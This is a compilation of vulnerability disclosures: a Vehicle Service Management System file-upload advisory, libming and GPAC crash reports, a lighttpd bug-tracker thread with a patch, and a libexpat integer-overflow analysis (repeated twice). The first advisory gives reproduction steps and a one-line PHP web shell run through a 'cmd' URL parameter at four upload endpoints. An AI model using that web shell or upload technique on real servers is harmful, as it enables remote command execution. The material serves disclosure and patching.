Sourcecodester Vehicle Service Management System 1.0 is vulnerable to File upload. An attacker can upload a malicious php file in multiple endpoints it leading to Code Execution.

**Vehicle Service Management System - 'Multiple' File upload Leads to Code Execution**

**Description:**  
Unrestricted File Upload vulnerability exists in Vehicle Service Management System 1.0. An remote attacker can able to upload malicious files it leads to Code Execution vulnerability.

****1\. Vehicle Service Management System – ‘MyAccount’ (/admin/?page=user)****

**Steps to Reproduce:**  
1\. Login to the admin panel http://localhost/vehicle\_service/admin  
2\. Navigate to My Account section http://localhost/vehicle\_service/admin/?page=user

**Code:**  
<?php system($\_GET\[‘cmd’\]);?>

3\. Save the above php code For Ex:Cmd.php  
4\. In My Account Section enter all the required details and browse the php file in Avatar.  
5\. Click on update button.  
6\. Open the avatar image in new tab.  
7\. Add the cmd parameter in the URL and execute the commands.  
8\. Final URL: http://localhost/vehicle\_service/uploads/1640632740\_Cmd.php?cmd=whoami  
9\. Execute all the system commands For Ex: id, whoami, pwd etc..

**2\. Vehicle Service Management System – ‘User List’ (/admin/?page=user/manage\_user)**

**Steps to Reproduce:**  
1\. Login to the admin panel http://localhost/vehicle\_service/admin  
2\. Navigate to User List section and click on Create New button.

**Code:**  
<?php system($\_GET\[‘cmd’\]);?>

3\. Save the above php code For Ex:Cmd.php  
4\. In Create New User Page enter all the required details and browse the php file in Avatar.  
5\. Click on Save button.  
6\. Open the avatar image in new tab.  
7\. Add the cmd parameter in the URL and execute the commands.  
8\. Final URL: http://localhost/vehicle\_service/uploads/1640632740\_Cmd.php?cmd=whoami  
9\. Execute all the system commands For Ex: id, whoami, pwd etc..

**3\. Vehicle Service Management System – ‘Settings-System Logo’ (/admin/?page=system\_info)**

**Steps to Reproduce:**  
1\. Login to the admin panel http://localhost/vehicle\_service/admin  
2\. Navigate to Settings section http://localhost/vehicle\_service/admin/?page=system\_info

**Code:**  
<?php system($\_GET\[‘cmd’\]);?>

3\. Save the above php code For Ex:Cmd.php  
4\. In Settings Section enter all the required details and browse the php file in System Logo.  
5\. Click on update button.  
6\. Open the System Logo image in new tab.  
7\. Add the cmd parameter in the URL and execute the commands.  
8\. Final URL: http://localhost/vehicle\_service/uploads/1640632740\_Cmd.php?cmd=whoami  
9\. Execute all the system commands For Ex: id, whoami, pwd etc..

**4\. Vehicle Service Management System – ‘Settings-Website Cover’ (/admin/?page=system\_info)**

**Steps to Reproduce:**  
1\. Login to the admin panel http://localhost/vehicle\_service/admin  
2\. Navigate to Settings section http://localhost/vehicle\_service/admin/?page=system\_info

**Code:**  
<?php system($\_GET\[‘cmd’\]);?>

3\. Save the above php code For Ex:Cmd.php  
4\. In Settings Section enter all the required details and browse the php file in Website Cover.  
5\. Click on update button.  
6\. Open the Website Cover image in new tab.  
7\. Add the cmd parameter in the URL and execute the commands.  
8\. Final URL: http://localhost/vehicle\_service/uploads/1640632740\_Cmd.php?cmd=whoami  
9\. Execute all the system commands For Ex: id, whoami, pwd etc..

**Impact:**  
The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, and simple defacement. It depends on what the application does with the uploaded file and especially where it is stored. Here is the list of attacks that the attacker might do:

*   Compromise the web server by uploading and executing a web-shell which can run commands, browse system files, browse local resources, attack other servers, and exploit the local vulnerabilities, and so forth.
*   Put a phishing page into the website.
*   Put a permanent XSS into the website.
*   Bypass cross-origin resource sharing (CORS) policy and exfiltrate potentially sensitive data.
*   Upload a file using malicious path or name which overwrites critical file or personal data that other users access. For example; the attacker might replace the .htaccess file to allow him/her to execute specific scripts.

**Mitigation:**  
It is recommended to implement the following:

*   Never accept a filename and its extension directly without having a white-list filter.
*   If there is no need to have Unicode characters, it is highly recommended to only accept alpha-numeric characters and only one dot as an input for the file name and the extension.
*   Limit the file size to a maximum value in order to prevent denial of service attacks.
*   Uploaded directory should not have any “execute” permission.
*   Don’t rely on client-side validation only.

References:

*   https://github.com/plsanu/Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution
*   https://owasp.org/www-community/vulnerabilities/Unrestricted\_File\_Upload
*   https://owasp.org/www-community/attacks/Code\_Injection

CVE-2021-46076: Vehicle Service Management System - 'Multiple' File upload Leads to Code Execution - P.L.SANU

In libming 0.4.8, a memory exhaustion vulnerability exist in the function cws2fws in util/main.c. Remote attackers could launch denial of service attacks by submitting a crafted SWF file that exploits this vulnerability.

version: master(commit 04aee52 )  
command: listswf $FILE

    root:/path_to_libming/build/bin# ./listswf poc
    ==21798==WARNING: AddressSanitizer failed to allocate 0xffffffffb4b4b4b4 bytes
    ==21798==AddressSanitizer's allocator is terminating the process instead of returning 0
    ==21798==If you don't like this behavior set allocator_may_return_null=1
    ==21798==AddressSanitizer CHECK failed: /mnt/d/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 "((0)) != (0)" (0x0, 0x0)
        #0 0x4e3385 in __asan::AsanCheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /mnt/d/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_rtl.cc:69
        #1 0x500c45 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /mnt/d/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_termination.cc:79
        #2 0x4e9786 in __sanitizer::ReportAllocatorCannotReturnNull() /mnt/d/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225
        #3 0x4e97c6 in __sanitizer::ReturnNullOrDieOnFailure::OnBadRequest() /mnt/d/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:241
        #4 0x41fadf in __asan::asan_realloc(void*, unsigned long, __sanitizer::BufferedStackTrace*) /mnt/d/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_allocator.cc:865
        #5 0x4da689 in realloc /mnt/d/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:108
        #6 0x53815f in cws2fws /path_to_libming/util/main.c:111:15
        #7 0x53aacb in readMovieHeader /path_to_libming/util/main.c:198:18
        #8 0x539dc3 in main /path_to_libming/util/main.c:350:5
        #9 0x7f88a92b5bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
        #10 0x41a2f9 in _start (/path_to_libming/build/bin/listswf+0x41a2f9)
    

A large integer passed to realloc, causing the allocation failure.  
The detailed call chain analysis is as follows.  
Download poc

static int readMovieHeader(FILE \*f, int \*compressed)
{
	char first;
	struct stat stat\_buf;
	
	first = readUInt8 (f);
	\*compressed = (first == ('C')) ? 1 : 0;
	if (!((first == 'C' || first == 'F') && readUInt8 (f) == 'W'
		&& readUInt8 (f) == 'S'))
	{
		SWF\_error ("Doesn't look like a swf file to me..\\n");
	}

	m.version = readUInt8 (f);
	m.size = readUInt32 (f); // Read 32 bits from the input file, the m.size is controllable by the attacker
	m.soundStreamFmt = -1;
	m.fonts = NULL;
	m.numFonts = 0;
	if (\*compressed)
	{
#if USE\_ZLIB
		int unzipped = cws2fws (f, m.size);
		......
	}
	......
}

int
cws2fws(FILE \*f, uLong outsize)
{

	struct stat statbuffer;
	int insize, ret;
	int err,tmp\_fd;
	Byte \*inbuffer,\*outbuffer;

	sprintf(tmp\_name, "/tmp/swftoscriptXXXXXX");

#ifdef HAVE\_MKSTEMP
	tmp\_fd = mkstemp(tmp\_name);
#endif
#ifndef HAVE\_MKSTEMP
	tmp\_fd = open(tmp\_name, O\_RDWR | O\_CREAT | O\_TRUNC , 0600);
#endif

	if ( tmp\_fd == -1 )
	{
		SWF\_error("Couldn't create tempfile.\\n");
	}

	tempfile = fdopen(tmp\_fd, "w+");
	if ( ! tempfile )
	{
		SWF\_error("fdopen: %s", strerror(errno));
	}


	if( stat(filename, &statbuffer) == -1 )
	{
		SWF\_error("stat() failed on input file");
	}
	
	insize = statbuffer.st\_size\-8;
	inbuffer = malloc(insize);
	if(!inbuffer){ SWF\_error("malloc() failed"); }
	if ( ! fread(inbuffer, insize, 1, f) )
	{
		SWF\_error("Error reading input file");
	}
	
	outbuffer=NULL;
	do{
		outbuffer = realloc(outbuffer, outsize);  // outsize is controlled by the attacker, and it is directly passed to realloc without any boundary check, resulting in allocation failure
		......
	}while(err == Z\_BUF\_ERROR);
	......
}

CVE-2021-44590: Memory allocation failure in cws2fws · Issue #236 · libming/libming

In lighttpd 1.4.46 through 1.4.63, the mod_extforward_Forwarded function of the mod_extforward plugin has a stack-based buffer overflow (4 bytes), as demonstrated by remote denial of service (daemon crash).

I uploaded the exp by mistake, please delete it in time

*   **File** deleted (_exp.py_)

*   **Subject** changed from _Security - lighttpd mod\_extforward plugin has stack overflow vulnerability_ to _lighttpd mod\_extforward plugin has out-of-bounds (OOB) write of 4-byte -1_
*   **Description** updated (diff)
*   **Status** changed from _New_ to _Patch Pending_
*   **Target version** changed from _1.4.xx_ to _1.4.64_

You are correct that there is an out-of-bounds write on the stack.  
However, this out-of-bounds write is not controlled by the attacker.  
The value that is written out-of-bounds after the end of offsets\[\] is -1

However, with the default lighttpd build with `gcc -O2`, I was unable to  
trigger a crash in lighttpd on amd64 (64-bit) or on i686 (32-bit).

As with your prior posts, I think your test toolchain is configured  
with a stack canary which crashes when an out-of-bounds read or write  
is detected, which is fine for your research, but not necessarily a  
reflection of real-world impact. When mod\_extforward.c is compiled with  
`-fstack-protector-all -fstack-protector-strong`, I was able to trigger  
a crash in lighttpd on i686 (32-bit), but not amd64 (64-bit), using the  
reproducer (exp.py) you had provided.

Also, the scenario in which this occurs is not enabled by default in lighttpd.

*   First, the user must be using mod\_extforward. (not default)
*   Second, the user must explicitly configure `extforward.headers`  
    to contain "Forwarded" (not default)
*   Third, the user must have configured mod\_extforward to trust the  
    upstream proxy server which proxied the request to lighttpd,  
    and from which lighttpd is receiving the "Forwarded" header.  
    This upstream proxy must allow and use this unusual "Forwarded"  
    header.

Your statement that this issue affects lighttpd 1.4.41-1.4.63 is incorrect.  
Support for the "Forwarded" header was added in lighttpd 1.4.46.  
https://redmine.lighttpd.net/issues/2703  
I have updated your original post.

Given this initial assessment (not yet complete), I have changed the  
the wording of this issue to tone it down from vulnerability to OOB write.  
There is a bug that will be fixed, but unless further information comes to  
light, this does not appear to have security implications for default usage  
of lighttpd. Please help me determine in which scenarios and platforms  
this might have an impact.

*   **Subject** changed from _lighttpd mod\_extforward plugin has out-of-bounds (OOB) write of 4-byte -1_ to _mod\_extforward plugin has out-of-bounds (OOB) write of 4-byte -1_

gstrauss wrote in #note-3:

> You are correct that there is an out-of-bounds write on the stack.  
> However, this out-of-bounds write is not controlled by the attacker.  
> The value that is written out-of-bounds after the end of offsets\[\] is -1
> 
> However, with the default lighttpd build with `gcc -O2`, I was unable to  
> trigger a crash in lighttpd on amd64 (64-bit) or on i686 (32-bit).
> 
> As with your prior posts, I think your test toolchain is configured  
> with a stack canary which crashes when an out-of-bounds read or write  
> is detected, which is fine for your research, but not necessarily a  
> reflection of real-world impact. When mod\_extforward.c is compiled with  
> `-fstack-protector-all -fstack-protector-strong`, I was able to trigger  
> a crash in lighttpd on i686 (32-bit), but not amd64 (64-bit), using the  
> reproducer (exp.py) you had provided.
> 
> Also, the scenario in which this occurs is not enabled by default in lighttpd.
> 
> *   First, the user must be using mod\_extforward. (not default)
> *   Second, the user must explicitly configure `extforward.headers`  
>     to contain "Forwarded" (not default)
> *   Third, the user must have configured mod\_extforward to trust the  
>     upstream proxy server which proxied the request to lighttpd,  
>     and from which lighttpd is receiving the "Forwarded" header.  
>     This upstream proxy must allow and use this unusual "Forwarded"  
>     header.
> 
> Your statement that this issue affects lighttpd 1.4.41-1.4.63 is incorrect.  
> Support for the "Forwarded" header was added in lighttpd 1.4.46.  
> https://redmine.lighttpd.net/issues/2703  
> I have updated your original post.
> 
> Given this initial assessment (not yet complete), I have changed the  
> the wording of this issue to tone it down from vulnerability to OOB write.  
> There is a bug that will be fixed, but unless further information comes to  
> light, this does not appear to have security implications for default usage  
> of lighttpd. Please help me determine in which scenarios and platforms  
> this might have an impact.

I'm using the ubuntu 20.04 default configuration, where canary is turned on by default

povcfe-bug wrote in #note-5:

> gstrauss wrote in #note-3:
> 
> > You are correct that there is an out-of-bounds write on the stack.  
> > However, this out-of-bounds write is not controlled by the attacker.  
> > The value that is written out-of-bounds after the end of offsets\[\] is -1
> > 
> > However, with the default lighttpd build with `gcc -O2`, I was unable to  
> > trigger a crash in lighttpd on amd64 (64-bit) or on i686 (32-bit).
> > 
> > As with your prior posts, I think your test toolchain is configured  
> > with a stack canary which crashes when an out-of-bounds read or write  
> > is detected, which is fine for your research, but not necessarily a  
> > reflection of real-world impact. When mod\_extforward.c is compiled with  
> > `-fstack-protector-all -fstack-protector-strong`, I was able to trigger  
> > a crash in lighttpd on i686 (32-bit), but not amd64 (64-bit), using the  
> > reproducer (exp.py) you had provided.
> > 
> > Also, the scenario in which this occurs is not enabled by default in lighttpd.
> > 
> > *   First, the user must be using mod\_extforward. (not default)
> > *   Second, the user must explicitly configure `extforward.headers`  
> >     to contain "Forwarded" (not default)
> > *   Third, the user must have configured mod\_extforward to trust the  
> >     upstream proxy server which proxied the request to lighttpd,  
> >     and from which lighttpd is receiving the "Forwarded" header.  
> >     This upstream proxy must allow and use this unusual "Forwarded"  
> >     header.
> > 
> > Your statement that this issue affects lighttpd 1.4.41-1.4.63 is incorrect.  
> > Support for the "Forwarded" header was added in lighttpd 1.4.46.  
> > https://redmine.lighttpd.net/issues/2703  
> > I have updated your original post.
> > 
> > Given this initial assessment (not yet complete), I have changed the  
> > the wording of this issue to tone it down from vulnerability to OOB write.  
> > There is a bug that will be fixed, but unless further information comes to  
> > light, this does not appear to have security implications for default usage  
> > of lighttpd. Please help me determine in which scenarios and platforms  
> > this might have an impact.
> 
> I'm using the ubuntu 20.04 default configuration, where canary is turned on by default

The reason why 64-bit programs can't crash is that sse 16-bit alignment, when closing intel sse, 64-bit programs will also crash, so please make sure that mips, arm and other architecture programs will not trigger a crash.

So compiling 32-bit lighttpd within an operating system with a higher gcc version, or compiling and using lighttpd with an architecture that does not support sse 16-bit byte alignment, will result in a denial of service

gstrauss wrote in #note-8:

> > So compiling 32-bit lighttpd within an operating system with a higher gcc version, or compiling and using lighttpd with an architecture that does not support sse 16-bit byte alignment, will result in a denial of service
> 
> You seem to be overlooking the prerequisites to reaching the bug. Case in point, I wrote:
> 
> > > *   Third, the user must have configured mod\_extforward to trust the  
> > >     upstream proxy server which proxied the request to lighttpd,  
> > >     and from which lighttpd is receiving the "Forwarded" header.  
> > >     This upstream proxy must allow and use this unusual "Forwarded"  
> > >     header.
> 
> For someone to want to configure lighttpd this way, they must be using a proxy which supports "Forwarded". Do you know of real-world use in popular CDNs? Most CDNs and cloud providers have their own custom fields for X-Forwarded-For.
> 
> I took a quick look and Cloudflare does not currently support Forwarded.  
> https://community.cloudflare.com/t/support-for-http-forwarded-header-as-a-replacement-for-x-forwarded-for/320943  
> Nor does HAProxy (where the HAProxy "PROXY" protocol is often preferred)  
> https://github.com/haproxy/haproxy/issues/575
> 
> I did find that "Forwarded" is implemented in  
> https://microsoft.github.io/reverse-proxy/articles/transforms.html#forwarded  
> though a developer noted it is not enabled by default  
> (https://github.com/dotnet/aspnetcore/issues/5978#issuecomment-668013246)  
> and "Forwarded" is implemented in  
> https://github.com/gorilla/handlers/blob/master/proxy\_headers.go
> 
> Please keep in mind that my questions here and above are to help gauge potential impact of the bug.
> 
> Thus far, based on what I have posted here and above, I am confident that the bug is not reachable in **common** use scenarios of lighttpd mod\_extforward.

I noticed that "https://redmine.lighttpd.net/projects/lighttpd/wiki/Docs\_ModExtForward" mentions a custom setting for "Forwarded", which is not really the default configuration, but I mean that for users with such a configuration, remote denial of service is possible.

*   **File** header.png header.png added

![](https://redmine.lighttpd.net/attachments/thumbnail/2160)

![](https://redmine.lighttpd.net/attachments/download/2160/header.png)

This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.

My posts have repeatedly stated that I am trying to gauge the potential impact, and thus far the potential impact in the real world appears to be very low.

gstrauss wrote in #note-11:

> This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.
> 
> My posts have repeatedly stated that I am trying to gauge the potential impact, and thus far the potential impact in the real world appears to be very low.

I agree with you in the comment above that he will not be triggered by default

gstrauss wrote in #note-11:

> This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.
> 
> My posts have repeatedly stated that I am trying to gauge the potential impact, and thus far the potential impact in the real world appears to be very low.

I hope you will listen to me carefully, you said he will not be triggered by default, I agree. Also you said that canary must be turned on to trigger a crash, I told you that canary is turned on by default in higher versions of gcc, and that crashes are possible for system architectures that do not have SSE turned on.

povcfe-bug wrote in #note-12:

> gstrauss wrote in #note-11:
> 
> > This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.
> > 
> > My posts have repeatedly stated that I am trying to gauge the potential impact, and thus far the potential impact in the real world appears to be very low.
> 
> I agree with you in the comment above that he will not be triggered by default

Please respect contributors who find problems and submit patches

> Please respect contributors who find problems and submit patches

I appreciate that you have taken the time to find this and to post it so that it can be fixed. Thank you.

Above, I wrote:

> > This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.
> > 
> > My posts have repeatedly stated that I am trying to gauge the potential impact, and thus far the potential impact in the real world appears to be very low.

Please help me to understand why you feel disrespected by these grounded statements. Impact analysis is an important part of bug and security triage.

gstrauss wrote in #note-15:

> > Please respect contributors who find problems and submit patches
> 
> I appreciate that you have taken the time to find this and to post it so that it can be fixed. Thank you.
> 
> Above, I wrote:
> 
> > > This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.
> > > 
> > > My posts have repeatedly stated that I am trying to gauge the potential impact, and thus far the potential impact in the real world appears to be very low.
> 
> Please help me to understand why you feel disrespected by these grounded statements. Impact analysis is an important part of bug and security triage.

I don't think you've just listened carefully to my analysis, and there are differences between our two concerns. Impact exclusion is indeed a very important aspect, and I agree with your analysis above

> > This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.

> I don't think you've just listened carefully to my analysis, and there are differences between our two concerns.

Would you please describe your concerns in more detail?

Your post is less than 5 hours old and I have spent a considerable amount of time reviewing, reproducing, and analyzing the potential impact, and have tried to be explicit in my posts that these are the steps I am taking. If you feel that I am giving it short thrift, then please describe your expectations in more detail.

gstrauss wrote in #note-17:

> > > This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.
> 
> > I don't think you've just listened carefully to my analysis, and there are differences between our two concerns.
> 
> Would you please describe your concerns in more detail?
> 
> Your post is less than 5 hours old and I have spent a considerable amount of time reviewing, reproducing, and analyzing the potential impact, and have tried to be explicit in my posts that these are the steps I am taking. If you feel that I am giving it short thrift, then please describe your expectations in more detail.

Sorry, my narrative above was just to show you that users using this non-default configuration can trigger crashes with the default compile option. I appreciate your work, and your attention to this issue, and I apologize.

Yes, for systems and distros which enable the canary by default, and if the prerequisites to reach the bug are met, then the bug will trigger a crash.

Please attach a patch (e.g. output from `git format-patch`) with the patch in your original post and how you'd like to be credited. The patch looks good, and I'll need to edit the commit message a bit, but will try to preserve what you'd like to include.

It's late here and I'll return to this tomorrow.

I have applied for a cve id, please trace

You did not include a commit message in the attachment. Please see the lighttpd git history for how I credit contributors and let me know if you would like any different.

> I have applied for a cve id, please trace

What do you mean by "please trace"? Is that an incomplete sentence?

I have a feeling that you are disappointed that my analysis indicates that this bug is low severity, as its prevalence in production is likely to be rare and specialized. Even when the bug is reachable, I do not believe it exploitable beyond triggering a crash. I will dispute the CVE if you represent the bug otherwise.

gstrauss wrote in #note-22:

> You did not include a commit message in the attachment. Please see the lighttpd git history for how I credit contributors and let me know if you would like any different.
> 
> > I have applied for a cve id, please trace
> 
> What do you mean by "please trace"? Is that an incomplete sentence?
> 
> I have a feeling that you are disappointed that my analysis indicates that this bug is low severity, as its prevalence in production is likely to be rare and specialized. Even when the bug is reachable, I do not believe it exploitable beyond triggering a crash. I will dispute the CVE if you represent the bug otherwise.

I applied for cve with a remote denial of service error type, which I think is reasonable, emm. I would like to know if you agree.

this is the new patch  

    From 8a91fd45f7f31707a876492b13c0f46845626727 Mon Sep 17 00:00:00 2001
    From: povcfe <povcfe@qq.com>
    Date: Wed, 5 Jan 2022 12:44:34 +0000
    Subject: [PATCH] [mod_extforward] fix out-of-bounds (OOB) write of 4-byte -1
    
    (thx povcfe)
    ---
     src/mod_extforward.c | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/mod_extforward.c b/src/mod_extforward.c
    index 733231fd..8dbdfad9 100644
    --- a/src/mod_extforward.c
    +++ b/src/mod_extforward.c
    @@ -715,7 +715,7 @@ static handler_t mod_extforward_Forwarded (request_st * const r, plugin_data * c
             while (s[i] == ' ' || s[i] == '\t') ++i;
             if (s[i] == ';') { ++i; continue; }
             if (s[i] == ',') {
    -            if (j >= (int)(sizeof(offsets)/sizeof(int))) break;
    +            if (j >= (int)((sizeof(offsets)/sizeof(int)) - 1)) break;
                 offsets[++j] = -1; /*("offset" separating params from next proxy)*/
                 ++i;
                 continue;
    --
    2.25.1

CVE-2022-22707: Bug #3134: mod_extforward plugin has out-of-bounds (OOB) write of 4-byte -1 - Lighttpd

In doProlog in xmlparse.c in Expat (aka libexpat) before 2.4.3, an integer overflow exists for m_groupSize.

On 2021-12-24, a member of Trend Micro Zero Day Initiative ("ZDI") shared a vulnerability named ZDI-CAN-16157 in libexpat with me that has been discovered by an anonymous individual working with Trend Micro ZDI. I would like to thank both Trend Micro and the anonymous individual for their whitehat work on libexpat security. Thank you! 🙏

Similar to ticket #531, the issue is an integer overflow (in multiplication) near a call to realloc that takes a ~2 GiB size craft XML file, and then will cause denial of service or more. The issue exists since commit 347e19a and hence affects even the oldest (pre-)releases.

> \-- CVSS -----------------------------------------
> 
> 8.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
> 
> \[..\]
> 
> **Analysis**
> 
> This is an integer overflow vulnerability that exists in expat library. The vulnerable function is doProlog
> 
>     doProlog(XML_Parser parser, const ENCODING *enc, const char *s, const char *end,
>              int tok, const char *next, const char **nextPtr, XML_Bool haveMore,
>              XML_Bool allowClosingDoctype, enum XML_Account account) {
>     #ifdef XML_DTD
>       static const XML_Char externalSubsetName[] = {ASCII_HASH, '\0'};
>     #endif /* XML_DTD */
>       static const XML_Char atypeCDATA[]
>       [...]
>        case XML_ROLE_GROUP_OPEN:
>           if (parser->m_prologState.level >= parser->m_groupSize) {
>             if (parser->m_groupSize) {
>               {
>                 char *const new_connector = (char *)REALLOC(
>                     parser, parser->m_groupConnector, parser->m_groupSize *= 2);// <-------- (1)
>                 if (new_connector == NULL) {
>                   parser->m_groupSize /= 2;
>                   return XML_ERROR_NO_MEMORY;
>                 }
>                 parser->m_groupConnector = new_connector;
>               }
>     
>     
> 
> *   At (1), integer overflow occurs if the value of m_groupSize is greater than 0x7FFFFFFF.

A pull request and likely a CVE are upcoming, and there will be a soon release 2.4.3.

Best, Sebastian

CVE-2021-46143: [CVE-2021-46143] Crafted XML file can cause integer overflow on m_groupSize in function doProlog · Issue #532 · libexpat/libexpat

On 2021-12-24, a member of Trend Micro Zero Day Initiative ("ZDI") shared a vulnerability named `ZDI-CAN-16157` in libexpat with me that has been discovered by an anonymous individual working with Trend Micro ZDI. I would like to thank both Trend Micro and the anonymous individual for their whitehat work on libexpat security. Thank you! 🙏

Similar to ticket #531, the issue is an integer overflow (in multiplication) near a call to `realloc` that takes a ~2 GiB size craft XML file, and then will cause denial of service or more. The issue exists since commit 347e19a and hence affects even the oldest (pre-)releases.

> \-- CVSS -----------------------------------------
> 
> 8.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
> 
> \[..\]
> 
> **Analysis**
> 
> This is an integer overflow vulnerability that exists in expat library. The vulnerable function is `doProlog`
> 
>     doProlog(XML_Parser parser, const ENCODING *enc, const char *s, const char *end,
>              int tok, const char *next, const char **nextPtr, XML_Bool haveMore,
>              XML_Bool allowClosingDoctype, enum XML_Account account) {
>     #ifdef XML_DTD
>       static const XML_Char externalSubsetName[] = {ASCII_HASH, '\0'};
>     #endif /* XML_DTD */
>       static const XML_Char atypeCDATA[]
>       [...]
>        case XML_ROLE_GROUP_OPEN:
>           if (parser->m_prologState.level >= parser->m_groupSize) {
>             if (parser->m_groupSize) {
>               {
>                 char *const new_connector = (char *)REALLOC(
>                     parser, parser->m_groupConnector, parser->m_groupSize *= 2);// <-------- (1)
>                 if (new_connector == NULL) {
>                   parser->m_groupSize /= 2;
>                   return XML_ERROR_NO_MEMORY;
>                 }
>                 parser->m_groupConnector = new_connector;
>               }
>     
>     
> 
> *   At (1), integer overflow occurs if the value of `m_groupSize` is greater than 0x7FFFFFFF.

A pull request and likely a CVE are upcoming, and there will be a soon release 2.4.3.

Best, Sebastian

CVE-2021-46143: Crafted XML file can cause integer overflow on m_groupSize in function doProlog · Issue #532 · libexpat/libexpat

A Pointer Dereference vulnerability exists in GPAC 1.0.1 in unlink_chunk.isra, which causes a Denial of Service (context-dependent).

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!

*   \[Yes \] I looked for a similar issue and couldn't find any.
*   \[ Yes\] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
*   \[ Yes\] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop\_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95

Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/

**Version:**

**command:**

    ./bin/gcc/MP4Box -hint POC2
    

POC2.zip

**Result**

**bt**

    Program received signal SIGSEGV, Segmentation fault.
    0x00007ffff754da2f in unlink_chunk (p=p@entry=0x5555555e1480, av=0x7ffff76a0b80 <main_arena>) at malloc.c:1453
    1453	malloc.c: No such file or directory.
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    [ REGISTERS ]
     RAX  0x14000007a0
     RBX  0x7ffff76a0b80 (main_arena) ◂— 0x0
     RCX  0x14000007a5
     RDX  0x7ffff76a10b0 (main_arena+1328) —▸ 0x7ffff76a10a0 (main_arena+1312) —▸ 0x7ffff76a1090 (main_arena+1296) —▸ 0x7ffff76a1080 (main_arena+1280) —▸ 0x7ffff76a1070 (main_arena+1264) ◂— ...
     RDI  0x5555555e1480 ◂— 0x8013f76a1f74
     RSI  0x4000
     R8   0x7ffff76a0c10 (main_arena+144) —▸ 0x7ffff76a0c00 (main_arena+128) —▸ 0x5555555e0f10 ◂— 0x1400000014
     R9   0x0
     R10  0x7ffff7e0e94e ◂— ' but no data reference entry found\n'
     R11  0x7ffff76a0be0 (main_arena+96) —▸ 0x5555555e69e0 ◂— 0x0
     R12  0x1400000760
     R13  0x40
     R14  0x14000007a0
     R15  0x2
     RBP  0x38
     RSP  0x7fffffff7e30 —▸ 0x5555555e2a00 ◂— 0x1473746383
     RIP  0x7ffff754da2f (unlink_chunk.isra+15) ◂— cmp    rax, qword ptr [rdi + rax]
    [ DISASM ]
     ► 0x7ffff754da2f <unlink_chunk.isra+15>     cmp    rax, qword ptr [rdi + rax]
       0x7ffff754da33 <unlink_chunk.isra+19>     jne    unlink_chunk.isra+191                <unlink_chunk.isra+191>
        ↓
       0x7ffff754dadf <unlink_chunk.isra+191>    lea    rdi, [rip + 0x11f954]
       0x7ffff754dae6 <unlink_chunk.isra+198>    call   malloc_printerr                <malloc_printerr>
     
       0x7ffff754daeb <unlink_chunk.isra+203>    lea    rdi, [rip + 0x123756]
       0x7ffff754daf2 <unlink_chunk.isra+210>    call   malloc_printerr                <malloc_printerr>
     
       0x7ffff754daf7                            nop    word ptr [rax + rax]
       0x7ffff754db00 <malloc_consolidate>       push   r15
       0x7ffff754db02 <malloc_consolidate+2>     lea    rax, [rdi + 0x60]
       0x7ffff754db06 <malloc_consolidate+6>     mov    r15, rdi
       0x7ffff754db09 <malloc_consolidate+9>     push   r14
    [ STACK ]
    00:0000│ rsp 0x7fffffff7e30 —▸ 0x5555555e2a00 ◂— 0x1473746383
    01:0008│     0x7fffffff7e38 —▸ 0x7ffff7550773 (_int_malloc+2947) ◂— cmp    r12, 0x1f
    02:0010│     0x7fffffff7e40 —▸ 0x5555555e1480 ◂— 0x8013f76a1f74
    03:0018│     0x7fffffff7e48 —▸ 0x7ffff76a0be0 (main_arena+96) —▸ 0x5555555e69e0 ◂— 0x0
    04:0020│     0x7fffffff7e50 —▸ 0x7fffffff7e60 ◂— 0x38 /* '8' */
    05:0028│     0x7fffffff7e58 ◂— 0xdab84f8dc31ec400
    06:0030│     0x7fffffff7e60 ◂— 0x38 /* '8' */
    07:0038│     0x7fffffff7e68 ◂— 0x4
    [ BACKTRACE ]
     ► f 0   0x7ffff754da2f unlink_chunk.isra+15
       f 1   0x7ffff7550773 _int_malloc+2947
       f 2   0x7ffff75522d4 malloc+116
       f 3   0x7ffff78c17d2 co64_box_new+18
       f 4   0x7ffff78f8aa9 gf_isom_box_new+153
       f 5   0x7ffff791009c shift_chunk_offsets.part+284
       f 6   0x7ffff79103a7 inplace_shift_moov_meta_offsets+231
       f 7   0x7ffff7910e3c inplace_shift_mdat+732

CVE-2021-46038: untrusted pointer dereference in unlink_chunk.isra · Issue #2000 · gpac/gpac

